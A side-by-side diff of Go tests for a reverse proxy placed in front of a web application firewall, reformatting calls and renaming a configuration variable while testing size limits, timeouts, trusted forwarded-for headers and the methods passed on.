cfg, err := config.RProxyFromEnvironment( cfg, err := config.RProxyFromEnvironment(configtest.Viper(map[string]string{
func(name string) (string, bool) { "SWW_RPROXY_WAF_BACKEND": nowhere,
if name == "SWRP_WAF_BACKEND" { }))
return nowhere, true
}
return "", false
},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -50,23 +45,14 @@ func TestServerHasTheFixedLimits(t *testing.T) {
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: io.Discard, RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
io.Discard,
"test",
slog.LevelInfo,
),
}) })
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute { server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
t.Errorf( t.Errorf("server listens on %q with header limit %d, idle time %s and "+
"server listens on %q with header limit %d, idle time %s and "+ "header timeout %s", server.Addr, server.MaxHeaderBytes,
"header timeout %s", server.IdleTimeout, server.ReadHeaderTimeout)
server.Addr,
server.MaxHeaderBytes,
server.IdleTimeout,
server.ReadHeaderTimeout,
)
} }
} }
@@ -87,14 +73,9 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestSize: tc.limit,
standIn.URL, })
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
got := visit(t, newRequest(t, http.MethodPost, addr, "/", got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size)))) bytes.NewReader(make([]byte, tc.size))))
@@ -103,11 +84,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
} }
if asked := standIn.question(t); len(asked.body) != tc.asked { if asked := standIn.question(t); len(asked.body) != tc.asked {
t.Errorf( t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
"the question carries %d bytes, want %d",
len(asked.body),
tc.asked,
)
} }
report := standIn.report(t) report := standIn.report(t)
@@ -158,21 +135,13 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
asked.Store(true) asked.Store(true)
greet(w, r) greet(w, r)
}) })
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestSize: tc.limit,
standIn.URL, })
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+ send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt( strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
int64(tc.size),
16,
)+"\r\n"+strings.Repeat("x", tc.size)+
"\r\n0\r\n\r\n") "\r\n0\r\n\r\n")
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge { if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -231,26 +200,17 @@ func TestAResponseOverItsLimit(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || bytes.Contains(text, []byte(large)) { if err != nil || bytes.Contains(text, []byte(large)) {
t.Errorf( t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
"read %d bytes (%v), want the answer cut off",
len(text),
err,
)
} }
report := standIn.report(t) report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 { if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
t.Errorf( t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
"report %+v, want status 200 and at most 1K of the answer",
report,
)
} }
}) })
} }
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn( func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const announced = "2048" const announced = "2048"
@@ -264,13 +224,8 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
}) })
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusOK || if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
got.header.Get(contentLengthHeader) != announced { t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
t.Errorf(
"answered %+v, want the app's 200 announcing %s bytes",
got,
announced,
)
} }
} }
@@ -285,22 +240,14 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, setting: "off",
standIn.URL, })
app.URL,
map[string]string{
setting: "off",
},
)
// A body and an answer that a limit of zero would cut off, as it would the // A body and an answer that a limit of zero would cut off, as it would the
// next answer, which rproxy gives itself. // next answer, which rproxy gives itself.
wantGreeting( wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
t, strings.NewReader("a body"))))
visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))),
)
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK { if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
t.Errorf("answered %+v, want rproxy's own 200", got) t.Errorf("answered %+v, want rproxy's own 200", got)
@@ -323,14 +270,9 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "500",
standIn.URL, })
app.URL,
map[string]string{
maxRequestTime: "500",
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, post+tc.rest) send(t, conn, post+tc.rest)
@@ -374,9 +316,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
} }
} }
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer( func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -413,11 +353,8 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer",
"read %q (%v), want the connection closed without an answer", text, err)
text,
err,
)
} }
line := out.requestLine(t) line := out.requestLine(t)
@@ -462,8 +399,7 @@ func (w *deadlineRecorder) FlushError() error {
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error { func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
w.readDeadline = deadline w.readDeadline = deadline
if w.stalled != nil && !deadline.IsZero() && if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
!deadline.After(time.Now()) {
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded) _ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
} }
@@ -500,22 +436,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
t.Cleanup(func() { _ = stop.Close() }) t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
t.Context(), io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = announced req.ContentLength = announced
req.Header.Set(contentLengthHeader, strconv.Itoa(announced)) req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
w := &deadlineRecorder{ w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
ResponseRecorder: httptest.NewRecorder(),
stalled: stop,
}
before := time.Now() before := time.Now()
@@ -527,17 +453,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
if w.readDeadline.Before(before.Add(limit)) || if w.readDeadline.Before(before.Add(limit)) ||
w.readDeadline.After(time.Now().Add(limit)) { w.readDeadline.After(time.Now().Add(limit)) {
t.Errorf( t.Errorf("the reading of the body ends at %s, want %s from the request",
"the reading of the body ends at %s, want %s from the request", w.readDeadline, limit)
w.readDeadline,
limit,
)
} }
} }
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut( func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
@@ -549,15 +470,8 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
t.Cleanup(func() { _ = stop.Close() }) t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
t.Context(), io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = 2 * questionBodyMaxBytes req.ContentLength = 2 * questionBodyMaxBytes
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes)) req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
@@ -579,10 +493,7 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
} }
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) { if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
t.Errorf( t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
"the reading of the body ends at %s, want now",
w.readDeadline,
)
} }
} }
@@ -603,24 +514,12 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
_, _, server := startServer( _, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
t, maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
standIn.URL, })
app.URL,
map[string]string{
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
t.Context(), http.NoBody)
http.MethodGet,
tc.target,
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now() before := time.Now()
@@ -633,19 +532,14 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
if w.writeDeadline.Before(before.Add(limit)) || if w.writeDeadline.Before(before.Add(limit)) ||
w.writeDeadline.After(time.Now().Add(limit)) { w.writeDeadline.After(time.Now().Add(limit)) {
t.Errorf( t.Errorf("the time limit on sending ends at %s, want %s from the answer",
"the time limit on sending ends at %s, want %s from the answer", w.writeDeadline, limit)
w.writeDeadline,
limit,
)
} }
}) })
} }
} }
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast( func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const least = 10 * time.Second const least = 10 * time.Second
@@ -656,12 +550,7 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
maxResponseTime: "300", maxResponseTime: "300",
}) })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now() before := time.Now()
@@ -669,11 +558,8 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
server.Handler.ServeHTTP(w, req) server.Handler.ServeHTTP(w, req)
if w.writeDeadline.Before(before.Add(least)) { if w.writeDeadline.Before(before.Add(least)) {
t.Errorf( t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
"the time limit on sending ends at %s, want %s from the answer at least", w.writeDeadline, least)
w.writeDeadline,
least,
)
} }
} }
@@ -694,9 +580,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
t.Errorf("status %d, want 408", status) t.Errorf("status %d, want 408", status)
} }
if asked := standIn.question(t); len( if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
asked.body,
) != questionBodyMaxBytes {
t.Errorf("the question carries %d bytes", len(asked.body)) t.Errorf("the question carries %d bytes", len(asked.body))
} }
@@ -710,11 +594,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
func startAppThatTakesNothing(t *testing.T) string { func startAppThatTakesNothing(t *testing.T) string {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -803,9 +683,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
} }
} }
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut( func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// Four visitors at a time, each with an app and rproxy of its own, send more // Four visitors at a time, each with an app and rproxy of its own, send more
@@ -820,7 +698,7 @@ func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
} }
// visitAsTheTimeRunsOut sends requests to an app that answers about as // visitAsTheTimeRunsOut sends requests to an app that answers about as
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the // SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
// app's 200 or a 504. // app's 200 or a 504.
func visitAsTheTimeRunsOut(t *testing.T) { func visitAsTheTimeRunsOut(t *testing.T) {
t.Helper() t.Helper()
@@ -904,13 +782,8 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
if res.StatusCode != http.StatusOK || string(body) != start || if res.StatusCode != http.StatusOK || string(body) != start ||
!errors.Is(err, io.ErrUnexpectedEOF) { !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf( t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
"answered %d %q (%v), want the app's 200 %q, then the connection closed", res.StatusCode, body, err, start)
res.StatusCode,
body,
err,
start,
)
} }
if report := standIn.report(t); report.Status != http.StatusOK { if report := standIn.report(t); report.Status != http.StatusOK {
@@ -951,17 +824,13 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
responseBytes, _ := line["response_bytes"].(float64) responseBytes, _ := line["response_bytes"].(float64)
if line["status"] != float64(http.StatusOK) || if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
responseBytes >= bodySize {
t.Errorf("line %v, want status 200 and the answer cut off", line) t.Errorf("line %v, want status 200 and the answer cut off", line)
} }
report := standIn.report(t) report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize { if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
t.Errorf( t.Errorf("report %+v, want status 200 and the answer cut off", report)
"report %+v, want status 200 and the answer cut off",
report,
)
} }
} }
@@ -981,9 +850,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
} }
} }
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer( func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
@@ -1067,9 +934,7 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
wantGreeting(t, readAnswer(t, conn)) wantGreeting(t, readAnswer(t, conn))
} }
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit( func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const limit = 2 * time.Second const limit = 2 * time.Second
@@ -1093,11 +958,7 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
} }
if closed := time.Since(start); closed < limit { if closed := time.Since(start); closed < limit {
t.Errorf( t.Errorf("the connection closed after %s, want %s at least", closed, limit)
"the connection closed after %s, want %s at least",
closed,
limit,
)
} }
} }
@@ -1128,8 +989,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
rc := http.NewResponseController(w) rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex() _ = rc.EnableFullDuplex()
w.Header(). w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
Set(contentLengthHeader, strconv.Itoa(len(greeting)))
for _, part := range tc.atOnce { for _, part := range tc.atOnce {
_, _ = io.WriteString(w, part) _, _ = io.WriteString(w, part)
@@ -1147,18 +1007,10 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
}) })
// The request time limit is far longer than dial's deadline. // The request time limit is far longer than dial's deadline.
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "120000",
standIn.URL, maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
app.URL, })
map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
conn := dial(t, addr) conn := dial(t, addr)
sendAllButALittle(t, conn) sendAllButALittle(t, conn)
@@ -1175,12 +1027,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
want := strings.Join(tc.atOnce, "") want := strings.Join(tc.atOnce, "")
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) { if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf( t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
"read %q (%v), want %q and the connection closed",
body,
err,
want,
)
} }
}) })
} }
@@ -1218,11 +1065,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
"read %q (%v), want the connection closed without an answer",
text,
err,
)
} }
if line := out.requestLine(t); line["status"] != 0.0 { if line := out.requestLine(t); line["status"] != 0.0 {
@@ -1230,9 +1073,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
} }
} }
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest( func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const answer = "the end of a long answer" const answer = "the end of a long answer"
@@ -1250,28 +1091,13 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
maxRequestTime: "2000", maxRequestTime: "2000",
}) })
got := visit( got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
t,
newRequest(
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
),
)
if got.status != http.StatusOK || got.body != answer { if got.status != http.StatusOK || got.body != answer {
t.Errorf( t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
"answered %d %q, want the app's whole answer",
got.status,
got.body,
)
} }
} }
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce( func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -1292,15 +1118,10 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
app := startApp(t, greet) app := startApp(t, greet)
// The request time limit is longer than the 10 seconds an answer rproxy // The request time limit is longer than the 10 seconds an answer rproxy
// gives itself has to be sent, and than dial's deadline. // gives itself has to be sent, and than dial's deadline.
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "15000",
standIn.URL, maxResponseTime: "300",
app.URL, })
map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
},
)
// The body stops 100 bytes short, less than Go's server reads of a body // The body stops 100 bytes short, less than Go's server reads of a body
// left unread before it answers. // left unread before it answers.
+31 -102
View File
@@ -54,12 +54,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if asked.method != http.MethodDelete || asked.target != target || if asked.method != http.MethodDelete || asked.target != target ||
asked.host != site { asked.host != site {
t.Errorf( t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
"asked about %s %s at %s",
asked.method,
asked.target,
asked.host,
)
} }
if asked.header.Get(requestIDHeader) == "the-visitor's" { if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -77,11 +72,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
want.Set(waf.PeerHeader, localhost) want.Set(waf.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) { if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf( t.Errorf("the question's headers are %v, want %v", asked.header, want)
"the question's headers are %v, want %v",
asked.header,
want,
)
} }
} }
@@ -109,14 +100,9 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
greet(w, r) greet(w, r)
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: tc.trusted,
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: tc.trusted,
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedForHeader, visitor) req.Header.Set(forwardedForHeader, visitor)
@@ -136,12 +122,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
} }
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded { if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
t.Errorf( t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
"the app saw %s %q, want %q",
forwardedForHeader,
got,
tc.forwarded,
)
} }
}) })
} }
@@ -178,14 +159,9 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: localhost + "/32,10.0.0.0/8",
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header[forwardedForHeader] = tc.header req.Header[forwardedForHeader] = tc.header
@@ -224,24 +200,15 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
body := randomBytes(size) body := randomBytes(size)
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
received := make(chan []byte, 1) received := make(chan []byte, 1)
app := startApp( app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
t, whole, _ := io.ReadAll(r.Body)
func(w http.ResponseWriter, r *http.Request) { received <- whole
whole, _ := io.ReadAll(r.Body)
received <- whole
greet(w, r) greet(w, r)
}, })
)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
t,
http.MethodPost,
addr,
"/",
bytes.NewReader(body),
)
if !announced { if !announced {
// Go's client sends a body of unknown length in chunks. // Go's client sends a body of unknown length in chunks.
req.ContentLength = -1 req.ContentLength = -1
@@ -257,9 +224,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Error("the app did not get the whole body") t.Error("the app did not get the whole body")
} }
if report := standIn.report(t); report.RequestBytes != int64( if report := standIn.report(t); report.RequestBytes != int64(size) {
size,
) {
t.Errorf("report %+v, of %d bytes", report, size) t.Errorf("report %+v, of %d bytes", report, size)
} }
}) })
@@ -275,11 +240,8 @@ func wantQuestionBody(
t.Helper() t.Helper()
if !bytes.Equal(asked.body, want) { if !bytes.Equal(asked.body, want) {
t.Errorf( t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
"the question carries %d bytes, want the first %d", len(want))
len(asked.body),
len(want),
)
} }
values := asked.header.Values(waf.ContentLengthHeader) values := asked.header.Values(waf.ContentLengthHeader)
@@ -294,13 +256,9 @@ func wantQuestionBody(
return return
} }
if len(values) != 0 || if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
!slices.Equal(asked.transferEncoding, []string{chunked}) { t.Errorf("announced %v and encoded %v, want none and chunked", values,
t.Errorf( asked.transferEncoding)
"announced %v and encoded %v, want none and chunked",
values,
asked.transferEncoding,
)
} }
} }
@@ -353,11 +311,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
addr, _ := startRProxy(t, standIn.URL, nowhere, nil) addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
conn := dial(t, addr) conn := dial(t, addr)
send( send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
t,
conn,
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
)
if status := readStatus(t, conn); status != http.StatusForbidden { if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", status) t.Errorf("status %d, want waf's 403", status)
@@ -366,13 +320,8 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if string(asked.body) != tc.body || if string(asked.body) != tc.body ||
!slices.Equal(asked.transferEncoding, tc.encoding) { !slices.Equal(asked.transferEncoding, tc.encoding) {
t.Errorf( t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
"the question carries %q, encoded %v, want %q, encoded %v", asked.body, asked.transferEncoding, tc.body, tc.encoding)
asked.body,
asked.transferEncoding,
tc.body,
tc.encoding,
)
} }
}) })
} }
@@ -394,15 +343,10 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed || if got.status != http.StatusMethodNotAllowed ||
got.header.Get( got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"Allow",
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+ "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" { "MKCALENDAR" {
t.Errorf( t.Errorf("answered %+v, want 405 naming the methods passed on", got)
"answered %+v, want 405 naming the methods passed on",
got,
)
} }
line := out.requestLine(t) line := out.requestLine(t)
@@ -539,12 +483,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if got := asked.header.Get(forwardedProtoHeader); got != want { if got := asked.header.Get(forwardedProtoHeader); got != want {
t.Errorf( t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
"the question's %s is %q, want %s",
forwardedProtoHeader,
got,
want,
)
} }
} }
@@ -565,21 +504,11 @@ func TestAQuestionNamesNoZone(t *testing.T) {
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
_, out, server := startServer( _, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
t, trustedProxies: localhost + "/32",
standIn.URL, })
app.URL,
map[string]string{
trustedProxies: localhost + "/32",
},
)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
